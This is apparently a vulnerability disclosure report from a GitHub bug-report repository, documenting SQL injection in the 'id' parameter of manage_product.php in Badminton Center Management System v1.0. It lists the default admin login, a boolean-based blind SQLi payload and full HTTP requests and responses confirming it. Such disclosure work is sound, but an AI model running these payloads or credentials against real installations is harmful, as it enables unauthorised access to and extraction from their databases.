

main

...

bug\_report / vendors / oretnom23 / badminton-center-management-system / SQLi-16.md



debug601 Create SQLi-16.md

History

1 contributor

36 lines (24 sloc) | 1.51 KB

...

# Badminton Center Management System v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15318/badminton-center-management-system-phpoop-free-source-code.html>

Current database name: bcms\_db,length is 7

Vulnerability File: /bcms/admin/products/manage\_product.php?id=

Vulnerability location: /bcms/admin/products/manage\_product.php?id=,id

[+] Payload: /bcms/admin/products/manage\_product.php?

id=5%27%20and%20length(database())%20=7--+ // Leak place ---> id

```
GET /bcms/admin/products/manage_product.php?id=5%27%20and%20length(database())%20=7-
Host: 192.168.1.19
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

```
Accept-Encoding: gzip, deflate
```

```
DNT: 1
```

Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv

Connection: close

When length (database ()) = 6, Content-Length: 2155

```
GET /bcms/admin/products/manage_product.php?id=5%27%20and%20length(database())%20=6--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close

HTTP/1.1 200 OK
Date: Fri, 27 May 2022 03:08:20 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 2155
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">
  <form action="" id="product-form">
```

INI SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRYPTION OTHER XSS LFI

Load URL

Split URL

Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64   ☒ Rep

Name

Price

Status

When length (database ()) = 7, Content-Length: 2181

```
GET /bcms/admin/products/manage_product.php?id=5%27%20and%20length(database())%20=7--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close

HTTP/1.1 200 OK
Date: Fri, 27 May 2022 03:09:06 GMT
Server: Apache/2.4.48 (win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 2181
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">
  <form action="" id="product-form">
    <input type="hidden" name="id" value="5">
    <div class="form-group">
      <label for="name" class="control-label">Name
```

INT SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML

Load URL

Split URL

Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64

Name

Price

Status